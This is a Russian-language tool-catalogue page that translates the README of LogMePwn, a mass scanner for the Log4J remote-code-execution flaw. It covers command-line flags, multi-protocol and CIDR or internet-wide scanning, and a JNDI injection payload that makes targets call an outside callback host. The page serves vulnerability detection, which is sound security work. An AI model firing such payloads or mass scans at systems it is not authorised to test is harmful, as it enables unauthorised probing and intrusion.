Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
LogMePwn — Полностью автоматизированный, надежный, сверхбыстрый набор инструментов для сканирования и проверки уязвимости Log4J RCE CVE-2021-44228. | Kitploit
Инструменты/GitHubGitHub/0xinfection/logmepwn
Сканеры уязвимостейСканеры веб-уязвимостейКартирование сетиСканирование портовЭксплуатацияФаззинг
GitHub0xinfection/logmepwn

LogMePwn

Полностью автоматизированный, надежный, сверхбыстрый набор инструментов для сканирования и проверки уязвимости Log4J RCE CVE-2021-44228.

Репозиторий
395531 месяц назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

LogMePwn

LogMePwn — это полностью автоматизированный, мультипротокольный, надежный, сверхбыстрый инструмент для сканирования и проверки уязвимости Log4J RCE CVE-2021-44228.

image

Особенности инструмента

  • Встроенная поддержка автоматической генерации Canary Tokens с помощью электронной почты или вебхуков.
  • Мультипротокольная поддержка: HTTP, IMAP, SSH, FTP и др.
  • Поддержка нескольких HTTP-методов (GET, POST, PUT, DELETE, PATCH и т.д.)
  • Настраиваемый фаззинг тела HTTP-запроса (JSON, XML и т.д.).
  • Поддержка собственного callback-сервера и полезной нагрузки.
  • Сканирование CIDR-диапазонов.
  • Всё многопоточное и сверхбыстрое (написано на Go).
  • ...и многое другое. Ознакомьтесь с документацией и инструментом ниже!

Как это работает?

LogMePwn использует Canary Tokens, которые, в свою очередь, отправляют уведомления по электронной почте или через вебхуки на предпочитаемый вами канал связи. Если у вас есть собственный callback-сервер, вы также можете его использовать!

Установка и использование

Чтобы воспользоваться инструментом, вы можете скачать бинарный файл из раздела Releases в соответствии с вашей платформой и использовать его. Если вы хотите собрать инструмент самостоятельно, вам понадобится Go версии не ниже 1.13. Просто клонируйте репозиторий и выполните go build.

Вот базовое использование инструмента:

root@kitploit:~
$ ./lmp --help

    +---------------------+
    |   L o g M e P w n   |
    +---------------------+  v2.0

                ~ 0xInfection
Usage:
  -custom-server string
        Specify a custom callback server.
  -delay int
        Delay between subsequent requests for the same host to avoid overwhelming the host.
  -email string
        Email to use for the receiving callback notifications.
  -fbody string
        Specify a format string to use as the body of the HTTP request.
  -file string
        Specify a file containing list of hosts to scan.
  -ftp-ports string
        Comma separated list of HTTP ports to scan per target. (default "21")
  -headers string
        Comma separated list of HTTP headers to use; if empty a default set of headers are used.
  -headers-file string
        Specify a file containing custom set of headers to use in HTTP requests.
  -http-methods string
        Comma separated list of HTTP methods to use while scanning. (default "GET")
  -http-ports string
        Comma separated list of HTTP ports to scan per target. (default "80,443,8080")
  -imap-ports string
        Comma separated list of IMAP ports to scan per target. (default "143,993")
  -json
        Use body of type JSON in HTTP requests that can contain a body.
  -payload string
        Specify a single payload or a file containing list of payloads to use.
  -protocol string
        Specify a protocol to test for vulnerabilities. (default "all")
  -ssh-ports string
        Comma separated list of SSH ports to scan per target. (default "22")
  -threads int
        Number of threads to use while scanning. (default 10)
  -token string
        Canary token payload to use in requests; if empty, a new token will be generated.
  -user-agent string
        Custom user-agent string to use; if empty, payloads will be used.
  -webhook string
        Webhook to use for receiving callback notifications.
  -xml
        Use body of type XML in HTTP requests that can contain a body.

Examples:
  ./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
  ./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
  ./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
  ./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
  ./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143

Указание протоколов

НОВОЕ: Эта функция появилась в версии v2.0.

В последней версии добавлена поддержка нескольких протоколов. На данный момент доступно 4 протокола:

  • HTTP
  • IMAP
  • SSH
  • FTP

Если вы не укажете протокол через аргумент -protocol, инструмент запустит все плагины для каждого поддерживаемого протокола на наборе портов по умолчанию.

См. как контролировать порты для каждого протокола.

Пример:

root@kitploit:~
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # сканирует все протоколы на портах по умолчанию

Указание целей

Цели можно указать двумя способами: через интерфейс командной строки в качестве аргументов или через файл.

НОВОЕ: Теперь вы также можете передавать CIDR-диапазоны для сканирования! Эта функция появилась в версии v1.1.

Пример:

root@kitploit:~
./lmp <другие аргументы> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <другие аргументы> -file internet-ranges.lst
./lmp <другие аргументы> 192.168.0.0/26 1.2.3.4/30

Каждый протокол имеет список поддерживаемых портов по умолчанию, которые можно настроить с помощью следующих флагов:

  • -http-ports для HTTP.
  • -imap-ports для IMAP.
  • -ssh-ports для SSH.
  • -ftp-ports для FTP.

Если пользователь указывает пару хост+порт в формате host:port, список портов по умолчанию отбрасывается, и все проверки выполняются для этого конкретного порта. Если -protocol не указан, все плагины протоколов будут протестированы на одном и том же порту.

Указание полезных нагрузок

Эта функция появилась в версии v1.1.

Вы можете указать полезную нагрузку напрямую через аргумент -payload. Однако если вы хотите включить в полезную нагрузку DNS-имя тестируемого хоста, вы можете указать форматирующую директиву $DNSNAME$, которая будет заменена на цель, для которой выполняется тестирование.

Например, если вы выполните команду:

root@kitploit:~
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com

Тогда при отправке HTTP-запроса к URL полезная нагрузка будет выглядеть так:

root@kitploit:~
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}

Эта функция поможет вам определить, какие хосты уязвимы при фаззинге «чёрного ящика».

Вы также можете указать файл, содержащий несколько вариантов полезной нагрузки, используя тот же аргумент (см. payloads-sample.txt). Пример:

root@kitploit:~
./lmp -payload payloads-sample.txt vulnerable.site.com

ПРИМЕЧАНИЕ: Эта функция не работает с Canary Tokens. Canarytokens не поддерживает пользовательские DNS-форматы.

Указание каналов уведомлений

ПРИМЕЧАНИЕ: Если вы указываете пользовательскую полезную нагрузку с помощью -payload, указывать канал уведомлений НЕ обязательно. Полезная нагрузка сама должна содержать ваш callback-сервер.

Каналами уведомлений могут быть:

  • Электронная почта (-email)
  • Вебхук (-webhook)
  • Пользовательский DNS callback-сервер (-custom-server)

Инструмент использует Canary Tokens; вы можете создать его здесь или позволить инструменту создать токен за вас. Если инструмент создаст токен, он будет записан в файл с именем canarytoken-logmepwn.json, который будет содержать сам токен и ключ авторизации (оба понадобятся для просмотра триггеров через веб-интерфейс).

Если у вас уже есть токен, вы можете использовать аргумент -token, чтобы использовать его напрямую и не создавать новый.

ПРИМЕЧАНИЕ: Если вы укажете электронную почту или вебхук, инструмент создаст пользовательский canary-токен. Если вы используете собственный callback-сервер, токены не используются.

Отправка запросов

Инструмент предоставляет большую гибкость при отправке запросов. По умолчанию используются GET-запросы. Используется набор заголовков по умолчанию, каждый из которых содержит полезную нагрузку в своём значении. Вы можете указать пользовательский набор заголовков через аргумент -headers. Используйте флаг -headers-file, чтобы указать файл со списком заголовков. Примеры:

root@kitploit:~
./lmp <другие аргументы> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <другие аргументы> -headers-file headers.txt 1.2.3.4:8080

Вы можете указать список HTTP-методов для сканирования с помощью флага -methods. Для запросов, содержащих тело (например, POST, PUT и т.д.), вы можете настроить содержимое тел.

По умолчанию инструмент отправляет полезную нагрузку непосредственно в теле. Инструмент предлагает следующие возможности настройки тела:

  • Укажите -json, чтобы тело запроса было типа JSON.
  • -xml для формата XML.
  • -fbody для указания пользовательской форматной строки, в которую будет вставлена полезная нагрузка. Это позволяет создавать сложные запросы при тестировании. Например, если вы хотите отправить содержимое в формате HTML, это может выглядеть так:
    root@kitploit:~
    ./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
    

Вы можете указать пользовательское значение заголовка User-Agent с помощью флага -user-agent.

Параллельное сканирование

Инструмент оптимизирован для сканирования широкого круга целей. При достаточной пропускной способности сети и аппаратном обеспечении вы можете просканировать всё IPv4-пространство за один день. Количество одновременных потоков по умолчанию установлено на 10 (оптимизировано для надёжности на локальном оборудовании). Значение может достигать тысяч (задачу бенчмаркинга я оставляю вам). :)

Используйте флаг -threads, чтобы указать количество потоков для работы инструмента.

Указание задержки

Поскольку задействовано много HTTP-запросов, удалённому хосту может быть трудно их обработать. Параметр -delay предназначен для таких случаев. Вы можете указать задержку в секундах — она будет использоваться между двумя последовательными запросами к одному и тому же порту на сервере.

Демонстрация

Для демонстрации сканера я использую уязвимую настройку от @christophetd с помощью docker:

root@kitploit:~
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

image

Затем я запускаю инструмент против этой настройки:

root@kitploit:~
./lmp -email [email protected] -protocol http 127.0.0.1:8080

image

Что немедленно вызвало несколько DNS-запросов, видимых как на странице истории токена, так и в моей электронной почте:

Журнал изменений

  • Обновления в версии v2.0:

    • Внедрена мультипротокольная поддержка. Реализованные протоколы:
      • SSH
      • IMAP
      • HTTP
      • FTP
  • Обновления в версии v1.1:

    • Возможность указания пользовательских полезных нагрузок через файл или командную строку.
    • Возможность указания пользовательских заголовков через файл.
    • Сканирование CIDR-диапазонов.

Идеи и дорожная карта

Не стесняйтесь обращаться ко мне в Twitter или создавать issue/PR.

Лицензия и версия

Инструмент распространяется под лицензией GNU GPLv3. LogMePwn в настоящее время имеет версию v2.0.

Благодарности

Отдельное спасибо команде Thinkst Canary за их замечательный проект Canary Tokens.

Сделано с ♡ Pinaki (@0xInfection).

Скачать инструмент